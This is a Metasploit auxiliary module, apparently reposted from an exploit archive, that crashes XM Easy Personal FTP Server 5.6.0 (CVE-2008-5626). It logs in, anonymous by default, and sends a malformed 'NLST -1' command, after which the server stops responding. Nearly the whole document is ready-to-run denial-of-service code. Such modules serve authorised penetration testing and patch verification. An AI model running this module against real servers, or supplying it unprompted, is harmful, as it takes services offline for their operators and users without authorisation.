XM Easy Personal FTP Server 5.6.0 NLST Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',  
'Description' => %q{  
This module is a port of shinnai's script. You need  
a valid login, but even anonymous can do it as long  
as it has permission to call NLST.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-5626'],  
[ 'OSVDB', '50837'],  
[ 'EDB', '6741' ]  
],  
'DisclosureDate' => '2008-10-13'))  
  
# They're required  
register_options([  
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),  
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])  
])  
end  
  
def run  
return unless connect_login  
  
raw_send("NLST -1\r\n")  
  
disconnect  
  
print_status("OK, server may still be technically listening, but it won't respond")  
end  
end  
`